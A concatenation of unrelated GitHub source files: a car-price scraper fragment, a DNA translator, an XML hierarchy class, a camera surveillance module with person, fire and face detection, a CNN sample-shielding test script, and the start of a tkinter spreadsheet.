listeVersion\ndfLBC.to_csv('leboncoinIldeFrance.csv', sep =';')\n\n# Inner join sur Version et Année\n#data_merged = pd.merge(dfLBC, dfCentrale, on=['Version', 'Année'], how='inner')\n#data_merged['Delta'] = (data_merged['Prix'] - data_merged['Cote']) / data_merged['Cote'] * 100.\n#data_merged = data_merged.sort(columns=['Delta'])\n#data_merged = data_merged.reset_index()\n#data_merged['Delta'] = data_merged['Delta'].map('{:,.1f}%'.format)\n#data_merged.to_csv('zoe_idf.csv', sep=';')\n\n\n\n\n\n\n\n# Argus la centrale de l'auto\n#http://www.lacentrale.fr/cote-voitures-renault-zoe--2016-.html\n\n#http://www.lacentrale.fr/cote-voitures-renault-zoe--{}-.html.form(Annee)\n","repo_name":"SkatiRCI/starter-kit-datascience","sub_path":"mahzad-kalantari/Lesson4/exo_dom_lesson_4.py","file_name":"exo_dom_lesson_4.py","file_ext":"py","file_size_in_byte":6316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"11144122123","text":"# Define a dictionary mapping DNA codons to amino acids\ncodon_table = {\n 'UUU': 'Phe', 'UUC': 'Phe', 'UUA': 'Leu', 'UUG': 'Leu',\n 'CUU': 'Leu', 'CUC': 'Leu', 'CUA': 'Leu', 'CUG': 'Leu',\n 'AUU': 'Ile', 'AUC': 'Ile', 'AUA': 'Ile', 'AUG': 'Met',\n 'GUU': 'Val', 'GUC': 'Val', 'GUA': 'Val', 'GUG': 'Val',\n 'UCU': 'Ser', 'UCC': 'Ser', 'UCA': 'Ser', 'UCG': 'Ser',\n 'CCU': 'Pro', 'CCC': 'Pro', 'CCA': 'Pro', 'CCG': 'Pro',\n 'ACU': 'Thr', 'ACC': 'Thr', 'ACA': 'Thr', 'ACG': 'Thr',\n 'GCU': 'Ala', 'GCC': 'Ala', 'GCA': 'Ala', 'GCG': 'Ala',\n 'UAU': 'Tyr', 'UAC': 'Tyr', 'UAA': 'Stop', 'UAG': 'Stop',\n 'CAU': 'His', 'CAC': 'His', 'CAA': 'Gln', 'CAG': 'Gln',\n 'AAU': 'Asn', 'AAC': 'Asn', 'AAA': 'Lys', 'AAG': 'Lys',\n 'GAU': 'Asp', 'GAC': 'Asp', 'GAA': 'Glu', 'GAG': 'Glu',\n 'UGU': 'Cys', 'UGC': 'Cys', 'UGA': 'Stop', 'UGG': 'Trp',\n 'CGU': 'Arg', 'CGC': 'Arg', 'CGA': 'Arg', 'CGG': 'Arg',\n 'AGU': 'Ser', 'AGC': 'Ser', 'AGA': 'Arg', 'AGG': 'Arg',\n 'GGU': 'Gly', 'GGC': 'Gly', 'GGA': 'Gly', 'GGG': 'Gly'\n}\n\ndef translate_dna_to_protein(dna_sequence):\n # Initialize an empty mRNA and protein sequence\n mrna_sequence = \"\"\n protein_sequence = \"\"\n \n # Replace 'T' with 'U' to get the mRNA sequence\n mrna_sequence = dna_sequence.replace('T', 'U')\n \n # Translate the mRNA sequence into an amino acid sequence\n for i in range(0, len(mrna_sequence), 3):\n codon = mrna_sequence[i:i+3]\n amino_acid = codon_table.get(codon, 'X') # 'X' represents an unknown codon\n protein_sequence += amino_acid\n \n return protein_sequence\n\n# Example usage\ndna_sequence = \"TTACGA\"\nprotein_sequence = translate_dna_to_protein(dna_sequence)\nprint(\"Input DNA =\", dna_sequence)\nprint(\"Complement =\", dna_sequence.translate(str.maketrans(\"ATCG\", \"TAGC\")))\nprint(\"mRNA =\", dna_sequence.replace('T', 'U'))\nprint(\"Aminoacid =\", protein_sequence)","repo_name":"chellshelove/Computational_Biology_Week3_Individual_Assignment","sub_path":"No1.py","file_name":"No1.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74742325226","text":"from bs4 import BeautifulSoup\nfrom boltons.setutils import IndexedSet\n\nfrom ermaket.api import Config\nfrom ermaket.utils.xml import RootMixin, XMLObject, xmlall\n\nfrom .elements import Page, PrebuiltPage\nfrom .form import Form\nfrom .section import Section, ChildId, Children\nfrom .table import Table\n\n__all__ = ['Hierachy']\n\n_Hierarchy = xmlall(\n '__Hierachy',\n 'hierarchy',\n sections=Section,\n forms=Form,\n tables=Table,\n pages=Page,\n prebuiltPages=PrebuiltPage,\n)\n\n\nclass Hierachy(_Hierarchy, RootMixin):\n def __init__(self, xml=None):\n self._config = Config()\n args, kwargs = self._init_root(\n xml, self._config.XML['HierarchyAttributes']\n )\n super().__init__(*args, **kwargs)\n self.set_tree()\n\n def set_tree(self, remove_inherit=False):\n self._set_ids()\n resolved = set()\n [\n [\n resolved.add(id.value)\n for id in section.resolve_children(self.get_by_id)\n ] for section in self.sections\n ]\n self._resolved = resolved\n self._root = [\n elem for elem in self.values if elem.id not in self._resolved\n ]\n self._resolve_rights(remove_inherit)\n self._set_tables()\n\n def _set_ids(self):\n self._ids = {int(elem.id): elem for elem in self.elements}\n self._last_id = 0\n self._new_id()\n\n def _resolve_rights(self, remove_inherit=False):\n for elem in self._root:\n if elem.accessRights.inherit and not remove_inherit:\n raise ValueError(\n f'Element {elem} is root and cannot inherit accessRights'\n )\n elif elem.accessRights.inherit:\n elem.accessRights.inherit = False\n if isinstance(elem, Section):\n elem.resolve_rights()\n\n def _set_tables(self):\n self._tables = {}\n for table in self.tables:\n try:\n self._tables[table.schema][table.tableName] = table\n except KeyError:\n self._tables[table.schema] = {table.tableName: table}\n\n def get_table_entry(self, schema, name):\n try:\n return self._tables[schema][name]\n except KeyError:\n return None\n\n def merge(self, other):\n map_ids = {}\n for elem in other.values:\n if elem.id in self._ids:\n map_ids[elem.id] = self._new_id()\n self._ids[map_ids[elem.id]] = None\n else:\n map_ids[elem.id] = elem.id\n for elem in other.values:\n elem.id = map_ids[elem.id]\n if isinstance(elem, Section):\n elem.map_ids(lambda id: map_ids[id])\n self.values.extend(other.values)\n self.set_tree()\n\n @classmethod\n def from_xml(cls, xml):\n return cls(xml)\n\n def to_xml(self):\n soup = BeautifulSoup(features='xml')\n tag = super().to_xml()\n for key, value in self._config.XML['HierarchyAttributes'].items():\n tag[key] = value\n soup.append(tag)\n return soup\n\n def to_object(self, *args, **kwargs):\n res = []\n for elem in self.values:\n res.append(elem.to_object())\n return {'hierarchy': res, 'root': [elem.id for elem in self._root]}\n\n def extract(self, roles):\n h = Hierachy()\n schemas = set()\n for table in self.tables:\n if len(table.accessRights.get(roles)) > 0:\n schemas.add(table.schema)\n for elem in self.values:\n if (\n len(elem.accessRights.get(roles)) > 0 or\n isinstance(elem, Table) and elem.schema in schemas\n ):\n h.append(elem)\n h.set_tree()\n return h\n\n def extract_rights(self, roles):\n rights = {}\n for elem in self.values:\n for right in elem.accessRights.get(roles):\n try:\n rights[right.value].append(elem.id)\n except KeyError:\n rights[right.value] = [elem.id]\n return rights\n\n def drop_schema(self, schema_name):\n self.values = [\n elem for elem in self.values if not any(\n [\n isinstance(elem, Table) and elem.schema == schema_name,\n isinstance(elem, Form) and\n elem.formDescription.schema == schema_name\n ]\n )\n ]\n self._update_children()\n self.set_tree()\n\n def _update_children(self):\n ids = IndexedSet([elem.id for elem in self])\n for section in self.sections:\n children = IndexedSet([id.value for id in section.children])\n children = children.intersection(ids)\n section.children = Children([ChildId(id) for id in children])\n\n def drop_by_id(self, id):\n self.values.remove(self._ids[id])\n del self._ids[id]\n self._update_children()\n self.set_tree(remove_inherit=True)\n\n @property\n def elements(self):\n return (\n *self.sections, *self.forms, *self.tables, *self.pages,\n *self.prebuiltPages\n )\n\n def get_by_id(self, id):\n try:\n if isinstance(id, XMLObject):\n return self._ids[id.value]\n return self._ids[id]\n except KeyError:\n return None\n\n def get_by_name(self, name):\n for value in self.values:\n if value.name == name:\n return name\n\n def _new_id(self):\n while self._last_id in self._ids:\n self._last_id += 1\n return self._last_id\n\n def append(self, elem):\n super().append(elem)\n if not hasattr(elem, 'id') or elem.id is None:\n elem.id = self._new_id()\n self._ids[elem.id] = elem\n","repo_name":"SqrtMinusOne/ERMaket","sub_path":"ermaket/api/system/hierarchy/hierarchy.py","file_name":"hierarchy.py","file_ext":"py","file_size_in_byte":5853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4592535669","text":"# Code adapted from Tensorflow Object Detection Framework\n# https://github.com/tensorflow/models/blob/master/research/object_detection/object_detection_tutorial.ipynb\n# Tensorflow Object Detection Detector\n\nimport face_recognition\nimport tensorflow as tf\nimport numpy as np\nimport datetime\nimport time\nimport cv2\nimport os\n\nfrom . import schedule_detection\nfrom django.conf import settings\nfrom .models import ImageClass\nfrom . import views\n\n\nclass DetectorAPI:\n def __init__(self, path_to_ckpt):\n self.path_to_ckpt = path_to_ckpt\n\n self.detection_graph = tf.Graph()\n with self.detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(self.path_to_ckpt, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n self.default_graph = self.detection_graph.as_default()\n self.sess = tf.Session(graph=self.detection_graph)\n\n # Definite input and output Tensors for detection_graph\n self.image_tensor = self.detection_graph.get_tensor_by_name('image_tensor:0')\n # Each box represents a part of the image where a particular object was detected.\n self.detection_boxes = self.detection_graph.get_tensor_by_name('detection_boxes:0')\n # Each score represent how level of confidence for each of the objects.\n # Score is shown on the result image, together with the class label.\n self.detection_scores = self.detection_graph.get_tensor_by_name('detection_scores:0')\n self.detection_classes = self.detection_graph.get_tensor_by_name('detection_classes:0')\n self.num_detections = self.detection_graph.get_tensor_by_name('num_detections:0')\n\n def process_frame(self, image):\n # Expand dimensions since the trained_model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image, axis=0)\n # Actual detection.\n (boxes, scores, classes, num) = self.sess.run(\n [self.detection_boxes, self.detection_scores, self.detection_classes, self.num_detections],\n feed_dict={self.image_tensor: image_np_expanded})\n\n im_height, im_width, _ = image.shape\n boxes_list = [None for a in range(boxes.shape[1])]\n for j in range(boxes.shape[1]):\n boxes_list[j] = (int(boxes[0, j, 0] * im_height),\n int(boxes[0, j, 1]*im_width),\n int(boxes[0, j, 2] * im_height),\n int(boxes[0, j, 3]*im_width)\n )\n\n return boxes_list, scores[0].tolist(), [int(x) for x in classes[0].tolist()], int(num[0])\n\n def close(self):\n self.sess.close()\n self.default_graph.close()\n\n\ndef select_frame_in_frame(captured_frame, x, y, w, h):\n\n color = (0, 100, 0) # BGR 0-255\n stroke = 2\n end_cord_x = x + w\n end_cord_y = y + h\n cv2.rectangle(captured_frame, (x, y), (end_cord_x, end_cord_y), color, stroke)\n cropped_frame = captured_frame[y:h, x:w]\n\n return cropped_frame\n\n\ndef save_in_database(name, captured_photo, type_image):\n obj = ImageClass.objects.create(im_title=name)\n new_name = 'detected_image' + str(obj.id) + \".jpg\"\n cv2.imwrite(os.path.join(settings.BASE_DIR, 'capture', new_name), captured_photo)\n obj.im_photo = os.path.join('capture', new_name)\n if type_image == \"cft\":\n obj.im_type = \"HD\"\n elif type_image == \"cff\":\n obj.im_type = \"FD\"\n elif type_image == \"fr\":\n obj.im_type = \"PM\"\n obj.save()\n\n\ndef check_for_trespassers():\n start_time = 0\n model_path = 'human_detection_api/frozen_inference_graph.pb'\n\n od_api = DetectorAPI(path_to_ckpt=model_path)\n threshold = 0.7\n cap = cv2.VideoCapture(0)\n # rtsp://192.168.10.10:554/user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream\n while True:\n\n if views.on_off_cft is True:\n r, img = cap.read()\n img = cv2.resize(img, (1280, 720))\n # selected_frame = select_frame_in_frame(img, 0, 0, 400, 720)\n boxes, scores, classes, num = od_api.process_frame(img)\n\n # Visualization of the results of a detection.\n\n for i in range(len(boxes)):\n print(classes.__str__())\n # Class 1 represents human\n if classes[i] == 1 and scores[i] > threshold:\n\n end_time = time.time()\n if end_time - start_time > 10:\n start_time = time.time()\n image_name = \"human_detected\"\n # save_in_database(image_name, img, type_image=\"cft\")\n time.sleep(10)\n break\n # box = boxes[i]\n # cv2.rectangle(img, (box[1], box[0]), (box[3], box[2]), (255, 0, 0), 4)\n # break\n\n\n else:\n cap.release()\n cv2.destroyAllWindows()\n break\n\n\ndef check_for_fire():\n # video_file = \"video_1.mp4\"\n video = cv2.VideoCapture(0)\n\n while True:\n if views.on_off_cff is True:\n (grabbed, frame) = video.read()\n if not grabbed:\n break\n\n blur = cv2.GaussianBlur(frame, (21, 21), 0)\n hsv = cv2.cvtColor(blur, cv2.COLOR_BGR2HSV)\n\n lower = [18, 50, 50]\n upper = [35, 255, 255]\n lower = np.array(lower, dtype=\"uint8\")\n upper = np.array(upper, dtype=\"uint8\")\n mask = cv2.inRange(hsv, lower, upper)\n\n no_red = cv2.countNonZero(mask)\n # print(\"output:\", frame)\n if int(no_red) > 20000:\n print(\"fire detected\")\n image_name = \"fire_detected-\"\n save_in_database(image_name, frame, type_image=\"cff\")\n # print(int(no_red))\n # print(\"output:\".format(mask))\n\n else:\n cv2.destroyAllWindows()\n video.release()\n\n\ndef check_if_person_present(person, time_constraint):\n picture = person + \".jpg\"\n image = face_recognition.load_image_file(os.path.join(\"faces\", picture))\n\n image_face_encoding = face_recognition.face_encodings(image)[0]\n known_face_encodings = [image_face_encoding,\n ]\n known_face_names = [person,\n ]\n video_capture = cv2 .VideoCapture(0)\n process_this_frame = True\n global timer\n timer = time.time()\n global this_frame\n this_frame = False\n face_locations = []\n face_names = []\n\n while True:\n if views.on_off_fr:\n\n # Grab a frame of the video\n ret, frame = video_capture.read()\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, str(datetime.datetime.now()), (20, 20), font, 0.5, (255, 255, 255), 1)\n # Resize frame of video to smaller size for faster processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n # Only process every other frame of video to save time\n if process_this_frame:\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n\n if this_frame is False:\n if time.time() - timer > time_constraint:\n print(\"hey1\")\n image_name = person + \"_missing-\"\n save_in_database(image_name, frame, type_image=\"fr\")\n # print(\"Person missing\")\n this_frame = True\n for face_encoding in face_encodings:\n # See if the face is a match for the known face(s)\n match = face_recognition.compare_faces(known_face_encodings, face_encoding, tolerance=0.55)\n # Tolerance determines the accuracy of face identification.\n # Lower the tolerance, higher is the accuracy.\n\n # If a match was found in known_face_encodings, just use the first one.\n\n if True in match:\n # if timer == 0:\n # print(\"hey1\")\n # print(\"Person not present in the first place\")\n # else:\n this_frame = False\n first_match_index = match.index(True)\n name = known_face_names[first_match_index]\n face_names.append(name)\n # print(\"hey2\")\n timer = time.time()\n else:\n name = \"Unknown\"\n print(name)\n face_names.append(name)\n\n process_this_frame = not process_this_frame\n\n # Display the results\n for (top, right, bottom, left), name in zip(face_locations, face_names):\n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n\n # Draw a box around the face\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n\n # Draw a label with a name below the face\n cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)\n cv2.putText(frame, name, (left + 6, bottom - 6), font, 0.5, (255, 255, 255), 1)\n face_names = []\n # Display the resulting image\n cv2.imshow('Video', frame)\n\n # Hit 'q' on the keyboard to quit!\n if cv2.waitKey(1) & 0xFF == ord('q'):\n video_capture.release()\n break\n else:\n video_capture.release()\n cv2.destroyAllWindows()\n\n video_capture.release()\n cv2.destroyAllWindows()\n\n\nknown_face_encodings = []\nknown_face_names = []\ntimer = 0\n\n\ndef all_operations():\n\n # ===================================================================\n if schedule_detection.time_constraint != 0:\n print(str(schedule_detection.time_constraint) + \"I'm unstoppable, I'm a porche with no brakes\")\n picture = schedule_detection.person + \".jpg\"\n image = face_recognition.load_image_file(os.path.join(\"faces\", picture))\n\n image_face_encoding = face_recognition.face_encodings(image)[0]\n\n global known_face_encodings\n known_face_encodings = [image_face_encoding,\n ]\n global known_face_names\n known_face_names = [schedule_detection.person,\n ]\n\n global timer\n timer = time.time()\n global ignore_this_frame\n ignore_this_frame = False\n face_locations = []\n face_names = []\n process_this_frame = True\n # ===================================================================\n\n print(schedule_detection.check_fire, \"__________\", schedule_detection.human_checker_not_present)\n start_time = 0\n st_time = 0\n model_path = 'human_detection_api/frozen_inference_graph.pb'\n print(\"The time has come\")\n label_number = 0\n\n od_api = DetectorAPI(path_to_ckpt=model_path)\n threshold = 0.7\n video = cv2.VideoCapture(0)\n # rtsp://192.168.10.10:554/user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream\n while True:\n if views.start_stop is True:\n # print(\"in condition (if views.start_stop is True:)\")\n r, img = video.read()\n if schedule_detection.human_checker_not_present is True:\n # print(\"running person detection\")\n img = cv2.resize(img, (1280, 720))\n # selected_frame = select_frame_in_frame(img, 0, 0, 400, 720)\n boxes, scores, classes, num = od_api.process_frame(img)\n\n # Visualization of the results of a detection.\n\n for i in range(len(boxes)):\n\n # Class 1 represents human\n if classes[i] == 1 and scores[i] > threshold:\n end_time = time.time()\n if end_time - start_time > 10:\n start_time = time.time()\n image_name = \"human_detected\"\n # save_in_database(image_name, img, type_image=\"cft\")\n print(image_name)\n time.sleep(10)\n break\n # box = boxes[i]\n # cv2.rectangle(img, (box[1], box[0]), (box[3], box[2]), (255, 0, 0), 4)\n # break\n else:\n # print(\"not running person detection yet\")\n pass\n\n if schedule_detection.human_checker_present is True:\n # print(\"running person detection\")\n img = cv2.resize(img, (1280, 720))\n # selected_frame = select_frame_in_frame(img, 0, 0, 400, 720)\n boxes, scores, classes, num = od_api.process_frame(img)\n\n # Visualization of the results of a detection.\n human_found = False\n for i in range(len(boxes)):\n\n # Class 1 represents human\n if classes[i] == 1 and scores[i] > threshold:\n human_found = True\n break\n\n if human_found is False:\n end_time = time.time()\n if end_time - st_time > 10:\n st_time = time.time()\n image_name = \"human_not_present\"\n # save_in_database(image_name, img, type_image=\"cft\")\n print(image_name)\n time.sleep(10)\n else:\n pass\n\n else:\n # print(\"not running person detection yet\")\n pass\n\n if schedule_detection.check_fire is True:\n print(\"running FIRE DETECTION\")\n blur = cv2.GaussianBlur(img, (21, 21), 0)\n hsv = cv2.cvtColor(blur, cv2.COLOR_BGR2HSV)\n\n lower = [18, 50, 50]\n upper = [35, 255, 255]\n lower = np.array(lower, dtype=\"uint8\")\n upper = np.array(upper, dtype=\"uint8\")\n mask = cv2.inRange(hsv, lower, upper)\n\n no_red = cv2.countNonZero(mask)\n # print(\"output:\", frame)\n if int(no_red) > 20000:\n print(\"fire detected\")\n image_name = \"fire_detected-\"\n # save_in_database(image_name, img, type_image=\"cff\")\n print(image_name)\n # print(int(no_red))\n # print(\"output:\".format(mask))\n\n else:\n pass\n\n # FOR PERSON IDENTIFICATION\n # ==========================================================================================================\n if schedule_detection.person_present_checker:\n\n # Grab a frame of the video\n ret, frame = video.read()\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, str(datetime.datetime.now()), (20, 20), font, 0.5, (255, 255, 255), 1)\n # Resize frame of video to smaller size for faster processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n # Only process every other frame of video to save time\n if process_this_frame:\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n\n if ignore_this_frame is False:\n\n if time.time() - timer > schedule_detection.time_constraint and timer != 0:\n image_name = schedule_detection.person + \"_missing-\"\n # save_in_database(image_name, frame, type_image=\"fr\")\n print(\"Person missing - \" + schedule_detection.person)\n ignore_this_frame = True\n for face_encoding in face_encodings:\n # See if the face is a match for the known face(s)\n match = face_recognition.compare_faces(known_face_encodings, face_encoding, tolerance=0.55)\n # Tolerance determines the accuracy of face identification.\n # Lower the tolerance, higher is the accuracy.\n\n # If a match was found in known_face_encodings, just use the first one.\n\n if True in match:\n # if timer == 0:\n # print(\"hey1\")\n # print(\"Person not present in the first place\")\n # else:\n ignore_this_frame = False\n first_match_index = match.index(True)\n name = known_face_names[first_match_index]\n face_names.append(name)\n print(\"hey \" + name)\n timer = time.time()\n else:\n name = \"Unknown\"\n print(name)\n face_names.append(name)\n\n process_this_frame = not process_this_frame\n\n # Display the results\n # for (top, right, bottom, left), name in zip(face_locations, face_names):\n # # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n # top *= 4\n # right *= 4\n # bottom *= 4\n # left *= 4\n #\n # # Draw a box around the face\n # cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n #\n # # Draw a label with a name below the face\n # cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)\n # cv2.putText(frame, name, (left + 6, bottom - 6), font, 0.5, (255, 255, 255), 1)\n # face_names = []\n # # Display the resulting image\n # cv2.imshow('Video', frame)\n #\n # # Hit 'q' on the keyboard to quit!\n # if cv2.waitKey(1) & 0xFF == ord('q'):\n # video.release()\n # break\n # else:\n # video.release()\n # cv2.destroyAllWindows()\n # ==========================================================================================================\n if schedule_detection.object_detection is True:\n # print(\"running person detection\")\n img = cv2.resize(img, (1280, 720))\n # selected_frame = select_frame_in_frame(img, 0, 0, 400, 720)\n boxes, scores, classes, num = od_api.process_frame(img)\n\n # Visualization of the results of a detection.\n if schedule_detection.object_name == \"laptop\":\n label_number = 73\n elif schedule_detection.object_name == \"cell phone\":\n label_number = 77\n elif schedule_detection.object_name == \"bottle\":\n label_number = 44\n elif schedule_detection.object_name == \"chair\":\n label_number = 62\n elif schedule_detection.object_name == \"clock\":\n label_number = 85\n\n object_found = False\n for i in range(len(boxes)):\n\n # Class 1 represents human\n if classes[i] == label_number and scores[i] > threshold:\n object_found = True\n break\n\n if object_found is False:\n end_time = time.time()\n if end_time - st_time > 10:\n st_time = time.time()\n image_name = str(schedule_detection.object_name) + \" not_present\"\n # save_in_database(image_name, img, type_image=\"cft\")\n print(image_name)\n time.sleep(10)\n else:\n pass\n\n elif views.start_stop is False:\n break\n\n cv2.destroyAllWindows()\n video.release()\n","repo_name":"aprajitaverma/Security-System-API","sub_path":"src/human_detection_project/human_detection_api/detection_files.py","file_name":"detection_files.py","file_ext":"py","file_size_in_byte":21392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28044281084","text":"\n\nimport textattack\nfrom textattack.models.helpers import WordCNNForClassification\nimport sys\nimport csv\nfrom math import exp\nimport nltk\nimport nltk.data\nfrom random import randint\nimport json\n\nfrom sample import getRandomSamples, getShiftingSamples, getEntireShiftingSamples, getDistinctShiftingSamples, getRandomWordSamples\n\n\ndef testCNN(modelLocation, testSet):\n argsfile = open(modelLocation + 'train_args.json')\n args = json.load(argsfile)\n\n model = WordCNNForClassification(max_seq_length = args['max_length'])\n model.load_from_disk(modelLocation)\n model = textattack.models.wrappers.PyTorchModelWrapper(model, model.tokenizer)\n \n testcsv = csv.reader(open(testSet), delimiter = '\\t')\n outcsv = csv.writer(open(testSet.split('.')[0] + '_CNNPredictionsOut', 'w'), delimiter = '\\t')\n\n for cur in testcsv:\n output = model([cur[1]])\n output = output[0]\n \n smbot = exp(output[0]) + exp(output[1])\n prob0 = exp(output[0])/smbot\n prob1 = exp(output[1])/smbot\n \n if(prob0 > prob1):\n pred = 0.0\n else:\n pred = 1.0\n\n outcsv.writerow([cur[0], pred, prob0, prob1])\n\n\n\n\n\ndef sampleTestCNN(modelLocation, testSet, k = 100, percentage = 0.8, sampleType = 'randomSample'):\n argsfile = open(modelLocation + 'train_args.json')\n args = json.load(argsfile)\n\n model = WordCNNForClassification(max_seq_length = args['max_length'], num_labels = args['num_labels'])\n model.load_from_disk(modelLocation)\n model = textattack.models.wrappers.PyTorchModelWrapper(model, model.tokenizer)\n\n\n num_labels = args['num_labels']\n pos_labels = [float(x) for x in range(num_labels)]\n\n\n testcsv = csv.reader(open(testSet), delimiter = '\\t')\n str_p = str(percentage).replace('.', '')\n if(sampleType == 'randomSample'):\n outcsv = csv.writer(open(testSet.split('.')[0] + '_CNNSamplePredictionsOut_k' + str(k) + '_p' + str_p, 'w'), delimiter = '\\t')\n output_votes = csv.writer(open('votes_' + testSet.split('.')[0] + '_CNNSamplePredictionsOut_k' + str(k) + '_p' + str_p, 'w'), delimiter = '\\t')\n elif(sampleType == 'randomWordSample'):\n outcsv = csv.writer(open(testSet.split('.')[0] + '_CNNWordSamplePredictionsOut_k' + str(k) + '_p' + str_p, 'w'), delimiter = '\\t')\n output_votes = csv.writer(open('votes_' + testSet.split('.')[0] + '_CNNWordSamplePredictionsOut_k' + str(k) + '_p' + str_p, 'w'), delimiter = '\\t')\n elif(sampleType == 'shiftingSample'):\n outcsv = csv.writer(open(testSet.split('.')[0] + '_CNNShiftingSamplePredictionsOut_p' + str_p, 'w'), delimiter = '\\t')\n output_votes = csv.writer(open('votes_' + testSet.split('.')[0] + '_CNNShiftingSamplePredictionsOut_p' + str_p, 'w'), delimiter = '\\t')\n elif(sampleType == 'entireShiftingSample'):\n outcsv = csv.writer(open(testSet.split('.')[0] + '_CNNEntireShiftingSamplePredictionsOut_p' + str_p, 'w'), delimiter = '\\t')\n output_votes = csv.writer(open('votes_' + testSet.split('.')[0] + '_CNNEntireShiftingSamplePredictionsOut_p' + str_p, 'w'), delimiter = '\\t')\n elif(sampleType == 'distinctShiftingSample'):\n outcsv = csv.writer(open(testSet.split('.')[0] + '_CNNDistinctShiftingSamplePredictionsOut_p' + str_p, 'w'), delimiter = '\\t')\n output_votes = csv.writer(open('votes_' + testSet.split('.')[0] + '_CNNDistinctShiftingSamplePredictionsOut_p' + str_p, 'w'), delimiter = '\\t')\n\n\n\n k = int(k)\n percentage = float(percentage)\n\n\n for cur in testcsv:\n \n text = cur[1]\n \n if(sampleType == 'randomSample'):\n text_samples = getRandomSamples(text, k, percentage)\n elif(sampleType == 'randomWordSample'):\n text_samples = getRandomWordSamples(text, k, percentage)\n elif(sampleType == 'shiftingSample'):\n text_samples = getShiftingSamples(text, percentage)\n elif(sampleType == 'entireShiftingSample'):\n text_samples = getEntireShiftingSamples(text, percentage)\n elif(sampleType == 'distinctShiftingSample'):\n text_samples = getDistinctShiftingSamples(text, percentage)\n \n\n votes = {}\n probs = []\n for cur_sample in text_samples:\n \n output = model([cur_sample])\n output = output[0]\n \n probs.append(output[0])\n \n\n pred = float(output.argmax())\n #if(output[0] > output[1]):\n # pred = 0.0\n #else:\n # pred = 1.0\n \n if(pred not in votes):\n votes[pred] = 0\n\n votes[pred] += 1\n\n\n for x in pos_labels:\n if(x not in votes):\n votes[x] = 0\n \n \n out_id = cur[0]\n outrow = [out_id]\n for x in range(len(votes)):\n outrow.append(votes[x])\n\n\n outrow.extend(probs)\n output_votes.writerow(outrow)\n\n # majority vote\n final_pred = sorted(votes, key = votes.get, reverse = True)[0]\n\n\n\n outcsv.writerow([cur[0], final_pred])\n\n\n\n\n\nif(sys.argv[-1] == 'test'):\n testCNN(sys.argv[1], sys.argv[2])\nelif(sys.argv[-1] == 'sampleTest'):\n if(len(sys.argv) == 4):\n sampleTestCNN(sys.argv[1], sys.argv[2])\n elif(len(sys.argv) == 6):\n sampleTestCNN(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])\n elif(len(sys.argv) == 7):\n sampleTestCNN(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])\n \n\n\n#testCNN(sys.argv[1], sys.argv[2]) \n \n \n\n \n \n","repo_name":"JonRusert/SampleShielding","sub_path":"code/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71135657386","text":"#!/usr/bin/env python3\r\nimport tkinter as tk\r\nimport math\r\nimport re\r\nfrom collections import ChainMap\r\n\r\nNrows = 10\r\nNcols = 10\r\n\r\ncellre = re.compile(r\"\\b[A-Z][0-9]\\b\")\r\n\r\n\r\ndef cellname(i, j):\r\n return f'{chr(ord(\"A\")+j)}{i+1}'\r\n\r\n\r\nclass Cell:\r\n def __init__(id, i, j, siblings, parent):\r\n id.row = i\r\n id.col = j\r\n id.siblings = siblings\r\n id.name = cellname(i, j)\r\n id.formula = \"0\"\r\n id.value = 0\r\n # Dependencies - must be updated if this cell changes\r\n id.deps = set()\r\n # Requirements - values required for this cell to calculate\r\n id.reqs = set()\r\n\r\n id.var = tk.StringVar()\r\n entry = id.widget = tk.Entry(parent, textvariable=id.var, justify=\"right\")\r\n entry.bind(\"\", id.edit)\r\n entry.bind(\"\", id.update)\r\n entry.bind(\"\", id.update)\r\n entry.bind(\"\", id.move(-1, 0))\r\n entry.bind(\"\", id.move(+1, 0))\r\n entry.bind(\"\", id.move(0, -1))\r\n entry.bind(\"\", id.move(0, 1))\r\n\r\n id.var.set(id.value)\r\n\r\n def move(id, rowadvance, coladvance):\r\n targetrow = (id.row + rowadvance) % Nrows\r\n targetcol = (id.col + coladvance) % Ncols\r\n\r\n def focus(event):\r\n targetwidget = id.siblings[cellname(targetrow, targetcol)].widget\r\n targetwidget.focus()\r\n\r\n return focus\r\n\r\n def calculate(id):\r\n currentreqs = 